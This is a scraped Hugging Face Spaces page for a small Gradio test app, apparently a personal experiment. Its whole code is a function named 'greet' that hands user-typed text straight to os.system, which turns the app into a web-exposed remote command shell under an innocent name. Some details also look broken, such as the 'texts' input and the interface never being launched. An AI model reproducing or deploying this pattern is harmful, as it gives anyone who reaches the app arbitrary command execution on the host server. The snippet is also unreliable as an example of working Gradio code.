Hugging Face
Models
Datasets
Spaces
Community
Docs
Enterprise
Pricing
Log In
Sign Up
Spaces:
lwdragon
/
test_gradio
like
0
Sleeping
App
Files
Files
Community
Fetching metadata from the HF Docker repository...
72b0709
test_gradio
/
app.py
lwdragon
Create app.py
72b0709
over 2 years ago
raw
Copy download link
history
blame
156 Bytes
import
gradio
as
gr
def
greet
(
cmd
):
a =
str
(
__import__
(
"os"
).system(cmd))
return
a
iface = gr.Interface(fn=greet, inputs=
"texts"
, outputs=
"text"
)